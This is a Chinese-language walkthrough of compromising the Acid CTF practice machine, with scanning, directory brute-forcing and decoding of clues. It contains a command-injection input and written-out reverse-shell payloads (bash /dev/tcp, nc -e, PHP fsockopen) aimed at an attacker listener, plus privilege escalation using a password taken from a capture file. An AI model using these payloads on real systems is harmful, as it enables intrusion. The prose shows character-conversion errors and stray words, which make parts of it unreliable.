9. CTF綜合靶機滲透(二)

靶機說明

Welcome to the world of Acid. Fairy tails uses secret keys to open the magical doors.php

歡迎來到酸的世界。童話故事須要使用祕密鑰匙打開魔法門。python

目標

得到root權限和flag。linux

運行環境

  • 靶機配置:該虛擬機徹底基於Web,提取rar並使用VMplayer運行vmx,網絡鏈接方式設置爲net,靶機自動獲取IP。web

  • 攻擊機配置:同網段下有Windows攻擊機,安裝有Burpsuit、nc、Python2.七、DirBuster、御劍等滲透工具。shell

信息收集

  • ip發現ubuntu

  • 物理機kali ip爲

 

啓用Acid虛擬機,因爲網絡設置爲橋接模式,使用Nmap掃描VMware Network Adapter VMnet8網卡的NAT網段,便可找到虛機IP,命令:bash

nmap -sP 192.168.1.1/24 服務器

得到目標ip 192.168.1.104網絡

 

  • 端口掃描tcp

使用nmap掃描1-65535全端口,並作服務指紋識別,命令:

nmap -p 1-65535 -sV 192.168.1.104

 

目標主機的33447端口發現web服務,web服務器是Apache2.4.10,操做系統ubuntu。

http://192.168.1.104:33447 進入主頁:

  • 服務識別

只發現web服務和Apache,只能從web漏洞或者Apache漏洞入手(若有漏洞):

端口:Tcp 33447

底層服務:Apache2.4.10

操做系統:Ubuntu

漏洞挖掘的詳細思路

  • web挖掘思路:

(1) 查看每一個網頁的源碼,看是否有提示;

(2) 暴破目錄,用御劍或DirBuster,看是否有新網頁,找新網頁的漏洞;

  • Apache挖掘思路:

(1) 尋找Apache2.4.10有無已知漏洞可利用:沒有發現可直接利用的漏洞。

(2) 到www.exploit-db.com查詢有無exp:沒有找到exp。

(3) Nessus掃描一下主機漏洞:沒有掃描出漏洞。

  • 實在找不到漏洞:單用戶模式進入Ubuntu,看源碼吧。

  • 步驟1:首先看主頁源碼,發現提示:0x643239334c6d70775a773d3d

0x是16進制編碼,將值643239334c6d70775a773d3d進行ASCII hex轉碼,變成:d293LmpwZw==

發現是base64編碼,再進行解碼,獲得圖片信息 wow.jpg

這時能夠根據經驗在首頁直接加目錄打:/image/wow.jpg 或者 /images/wow.jpg 或者 /icon/wow.jpg 網站的圖片目錄一般是這樣命名。

也能夠利用dirbuster,御劍進行目錄爆破,獲得圖片目錄images。

 

  • 訪問 http://192.168.1.104:33447/images/wow.jpg 獲得圖片:

 

  • 將圖片保存到本地,用Notepad++打開,發現最下邊有提示

將3761656530663664353838656439393035656533376631366137633631306434進行ASCII hex轉碼,

獲得 7aee0f6d588ed9905ee37f16a7c610d4,這是一串md5。

  • 步驟2:使用Dirbuster進行目錄暴破:

 

忽然發現標題是/Challenge

查看暴破結果:果真發現Challenge目錄,而且發現該目錄下有cake.php、include.php、hacked.php,用Burpsuit掛上代理,

使用Firefox而後依次訪問3個文件:

  • 步驟3:訪問cake.php,發現須要登陸後才能訪問,可是標題的地方咱們一樣發現了/Magic_Box

 

點擊login,發現跳到了index.php 頁面,可是須要email 和 password才能登錄

 

  • 步驟4:訪問include.php,這是一個文件包含漏洞頁面:

 

在輸入框中輸入 /etc/passwd 測試存在文件包含,Burpsuit顯示response包以下:

想文件包含拿shell,但沒有文件上傳點,以前發現的wow.jpg中無木馬可包含。先繼續看hacked.php。

  • 步驟5:訪問hacked.php,須要輸入ID,測試下以前從wow.jpg解密出來的數字:63425

不過看來好像並無什麼卵用

  • 步驟6:找注入,把發現的幾個頁面都送入AWVS掃描了漏洞,未發現注入。

  • 步驟7:繼續暴破發現的/Magic_Box目錄:發現low.php,command.php
  • 步驟8:訪問low.php是個空頁面,訪問command.php,發現命令執行界面:

這讓人直接想起來命令執行漏洞,咱們嘗試一波

可執行系統命令,輸入192.168.1.1;id 查看burpsuit的response發現id命令執行成功。

獲取shell

  • 步驟9:利用php反彈shell。kali linux開啓nc,監聽4444端口:

爲避免轉義和中斷,在get、post請求中輸入payload須要進行url編碼。嘗試bash反彈shell、nc反彈shell,以下payload都失敗:

bash -i >& /dev/tcp/192.168.0.112/4444 0>&1 nc -e /bin/bash -d 192.168.0.112 4444

經過php反彈shell成功,將以下payload進行URL編碼後,在burp中發送:

php -r '$sock=fsockopen("192.168.0.112",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

 

成功反彈shell

可是沒法執行su命令,回顯su: must be run from a terminal 須要一個終端。

 

沒有想出辦法,最終google了一下,找到答案:用python調用本地的shell,命令:

echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py python /tmp/asdf.py

 

提高權限

  • 步驟10:查看有哪些的用戶 cat /etc/passwd,發現須要關注的用戶有:acid,saman,root

  • 步驟11:查找每一個用戶的文件(不顯示錯誤)

find / -user acid 2>/dev/null

 

發現    /sbin/raw_vs_isi/hint.pcapng   文件,這是一個網絡流量抓包文件,用Wireshark打開:

scp /sbin/raw_vs_isi/hint.pcapng root@10.10.10.140:/root/

只看TCP協議的包,發現saman的密碼:1337hax0r

  • 步驟12:su提權到saman、root,得到flag

 

再使用sudo -i 提權到root,密碼一樣是1337hax0r,得到位於root目錄的flag.txt。

靶場思路回顧

做者的設計思路可參考國外的一篇滲透文章: 

http://resources.infosecinstitute.com/acid-server-ctf-walkthrough

主要突破點是:

1.兩次目錄暴破,第一次暴破出challenge,目錄、cake.phpinclude.php、hacked.php,第二次暴破Magic_Box目錄發現command.php

2.發現命令執行界面後,用php反彈shell,在http中傳輸需對payload進行url編碼。

3.su提權須要一個終端,沒有經驗只能Google解決了。

4.提權的方法是經過查找已知用戶的文件,發現其密碼,未使用exp或msf提權。

總結

1.主要收穫:

(1)命令執行漏洞可以使用php反彈shell, 之前都是用bash或nc。

(2)su提權須要一個終端,使用Python解決。

(3)得到shell後,多多查找各個用戶文件,可能有新發現。

2.踩到的坑:

(1)文件包含漏洞,沒找到利用方式,也找不到上傳點,沒法包含得到shell;

(2)su提權須要一個終端,沒有知識儲備和經驗,依靠高手指導和Google搜索解決。

(3)index.php頁面得到郵件用戶名和密碼的方法太冷門了,若是不是看國外的教程,本身沒法想到。

(4)發現目錄就暴破下,使用御劍默認字典不行,只能使用OWASP的暴破字典,目錄暴破繞過了上面郵件用戶名和口令的登陸,能夠一路暴破到命令執行頁面。

總之,在沒有google搜索和他人的指導下,本身沒能獨立完成,後續須要開闊思路,多多練習。

相關文章
相關標籤/搜索